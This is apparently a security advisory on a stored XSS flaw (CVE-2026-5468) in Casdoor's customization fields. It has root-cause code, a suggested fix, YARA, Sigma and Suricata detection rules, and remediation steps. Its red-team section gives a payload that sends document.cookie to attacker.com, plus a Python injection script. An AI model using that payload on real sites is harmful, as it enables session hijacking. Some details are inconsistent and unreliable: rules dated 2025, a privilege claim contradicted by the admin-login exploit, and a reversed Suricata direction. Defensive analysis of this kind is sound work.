CVE-2026-5468

Executive Summary

CVE-2026-5468 is a publicly disclosed, unpatched Cross-Site Scripting (XSS) vulnerability in Casdoor version 2.356.0. The flaw resides in the dangerouslySetInnerHTML function, which is used to render user-controlled HTML content without proper sanitization. An attacker can inject arbitrary JavaScript by manipulating the formCss, formCssMobile, or formSideHtml parameters. The attack is remotely exploitable with low complexity and requires user interaction (e.g., clicking a crafted link). The vendor was contacted but did not respond, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of exploit details increases risk.

Supply Chain & Package Security

Casdoor is an open-source identity and access management (IAM) platform written in Go. This vulnerability affects the frontend React component that uses dangerouslySetInnerHTML. Organizations using Casdoor as a dependency in their infrastructure should treat this as a supply chain risk, as the vulnerable component is part of the core application. No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Low (due to required user interaction and low impact), but the public exploit and lack of patch elevate the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic stored/reflected XSS in Casdoor's admin panel. The application uses React's dangerouslySetInnerHTML to render HTML content from the formCss, formCssMobile, and formSideHtml parameters. These parameters are intended for custom CSS/HTML injection by administrators, but they are not sanitized or validated before being rendered.

Attack Flow:

1. An attacker crafts a malicious payload (e.g., <img src=x onerror=alert(1)>) and injects it into one of the vulnerable parameters via a POST request to the Casdoor API.
2. The payload is stored in the database.
3. When an administrator or user views the page that renders these parameters, the payload executes in their browser context.
4. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: The use of dangerouslySetInnerHTML without prior sanitization (e.g., using DOMPurify or similar libraries). The function bypasses React's built-in XSS protection.

Vulnerable vs. Patched Code

Vulnerable Code (Casdoor 2.356.0):

// In a React component
<div dangerouslySetInnerHTML={{ __html: this.props.formCss }} />
<div dangerouslySetInnerHTML={{ __html: this.props.formCssMobile }} />
<div dangerouslySetInnerHTML={{ __html: this.props.formSideHtml }} />

Patched Code (Hypothetical):

import DOMPurify from 'dompurify';

// Sanitize input before rendering
const sanitizedCss = DOMPurify.sanitize(this.props.formCss);
const sanitizedCssMobile = DOMPurify.sanitize(this.props.formCssMobile);
const sanitizedSideHtml = DOMPurify.sanitize(this.props.formSideHtml);

<div dangerouslySetInnerHTML={{ __html: sanitizedCss }} />
<div dangerouslySetInnerHTML={{ __html: sanitizedCssMobile }} />
<div dangerouslySetInnerHTML={{ __html: sanitizedSideHtml }} />

Note: Since no official patch exists, the above is a recommended fix. The vendor should also implement server-side validation and output encoding.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of Casdoor 2.356.0 (e.g., Docker image casbin/casdoor:v2.356.0).
• Admin credentials or ability to trigger the vulnerable endpoint.

Exploit Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Step-by-Step:

1. Log in to Casdoor as an administrator.
2. Navigate to the "Customization" or "Theme" settings.
3. Inject the payload into the formCss field.
4. Save the settings.
5. Any user viewing the login page or affected component will trigger the XSS.

Automated Exploit (Python):

import requests

target = "http://target-casdoor:8080"
session = requests.Session()

# Login (replace with actual credentials)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/api/login", json=login_data)

# Inject XSS payload
payload = "<img src=x onerror=alert(1)>"
update_data = {"formCss": payload}
session.post(f"{target}/api/set-customization", json=update_data)

print("Payload injected. Trigger by visiting the login page.")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /api/set-customization or similar endpoints.
• Look for HTML tags in formCss, formCssMobile, or formSideHtml parameters.
• Use WAF rules to block <script>, <img onerror>, and other XSS vectors.

Defense:

• Implement Content Security Policy (CSP) headers to restrict inline scripts.
• Apply input validation and sanitization on both client and server sides.
• Use a Web Application Firewall (WAF) with XSS detection rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/set-customization with suspicious HTML payloads.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
• File IOCs:
  • Log entries containing <script>, <img onerror>, or onload events in formCss fields.
• Behavioral IOCs:
  • Unexpected changes to Casdoor's UI or login page.
  • Unauthorized session cookie theft.

Detection Engineering

YARA Rule

rule CVE_2026_5468_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Casdoor formCss parameters"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-5468"
    strings:
        $xss1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss2 = /<[^>]*onload\s*=[^>]*>/i
        $xss3 = /<script[^>]*>/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Casdoor XSS via formCss Parameters
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS attempts against Casdoor's formCss, formCssMobile, or formSideHtml parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: casdoor
detection:
    selection:
        http.method: POST
        http.url: /api/set-customization
        http.body|contains:
            - 'formCss'
            - 'formCssMobile'
            - 'formSideHtml'
    filter:
        http.body|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate CSS/HTML customization by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-5468 Casdoor XSS Payload Detected";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/set-customization"; http_uri;
    content:"formCss"; http_client_body;
    pcre:"/(<script|<[^>]*onerror|<[^>]*onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-5468;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable feature: If possible, remove or disable the formCss, formCssMobile, and formSideHtml fields in the Casdoor configuration.
2. Apply input sanitization: Use a library like DOMPurify to sanitize HTML input before rendering.
3. Implement CSP: Add a Content Security Policy header that restricts inline scripts and only allows trusted sources.
4. Upgrade: Monitor the Casdoor repository for a patch. If none is forthcoming, consider forking the project and applying the fix manually.

Long-term Recommendations:

• Replace dangerouslySetInnerHTML with safer alternatives (e.g., React's style attribute for CSS).
• Conduct a security audit of all user-controlled HTML rendering.
• Establish a vulnerability disclosure program to ensure timely responses.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests containing XSS patterns in the formCss parameters.

Valters IT

{/* [Security Hash: A2449561EF98D3B391F6AAAC] */}